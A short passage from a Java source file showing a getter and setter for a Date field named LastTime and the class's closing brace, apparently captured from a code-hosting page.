public Date getLastTime() {
return LastTime;
}
public void setLastTime(Date lastTime) {
LastTime = lastTime;
}
}
Loading…
Cancel
Save